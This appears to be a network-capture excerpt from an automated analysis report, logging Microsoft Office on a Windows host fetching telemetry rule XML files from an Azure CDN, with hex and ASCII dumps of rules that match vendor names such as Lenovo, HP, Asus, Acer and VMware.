2024-10-24 06:50:50 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:50 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 095283a4-c01e-0066-76f4-24a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065050Z-r197bdfb6b4k6h5j1g5mvtmsmn0000000bqg000000009t0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:50 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49787	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:50 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:50 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:50 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5ab32e4-501e-00a3-0f09-25c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065050Z-r197bdfb6b4vlqfn9hfre6k1s80000000c3g00000000bwsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:50:50 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49790	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:50 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:50 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: f2ab8105-101e-0065-6df4-244088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065050Z-r197bdfb6b4r9fwfbdwymmgex8000000014g000000002ks0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:50 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49791	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:50 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:50 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:50 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: b0d76b6d-d01e-002b-3e84-2525fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065050Z-16849878b78c5zx4gw8tcga1b4000000076g00000000a84c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:50 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49793	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:51 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 1ae852e8-d01e-008e-29f5-24387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065051Z-15b8d89586f8nxpt5xx0pk7du800000004eg000000009xmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49792	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:51 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:51 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 53592b39-c01e-0082-1ef3-24af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065051Z-15b8d89586fhl2qtatrz3vfkf000000004k000000000255x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:51 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49794	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:51 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:51 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 1b2fb3ba-201e-0033-65ce-20b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065051Z-16849878b78dkr6tqerbnpg1zc00000007eg0000000021yz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49795	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:51 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:51 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:51 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d84539c-601e-00ab-7af2-2466f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065051Z-r197bdfb6b4h2vctng0a0nubg80000000adg00000000cgfa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:50:51 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49796	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:51 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:51 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 7de7ed35-901e-005b-7c14-222005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065051Z-16849878b787sbpl0sv29sm89s00000007ag00000000gz07 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49799	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:52 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:52 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:52 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 4cd68789-d01e-0017-448e-21b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065052Z-16849878b78fmrkt2ukpvh9wh4000000079g0000000093mn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:52 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49797	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:52 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:52 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1a83195d-f01e-0071-40f5-24431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065052Z-r197bdfb6b4kq4j5t834fh90qn0000000abg00000000fp9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:52 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49798	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:52 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:52 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3edebaab-e01e-0033-21c8-214695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065052Z-16849878b785f8wh85a0w3ennn00000007c0000000002rd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:52 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" 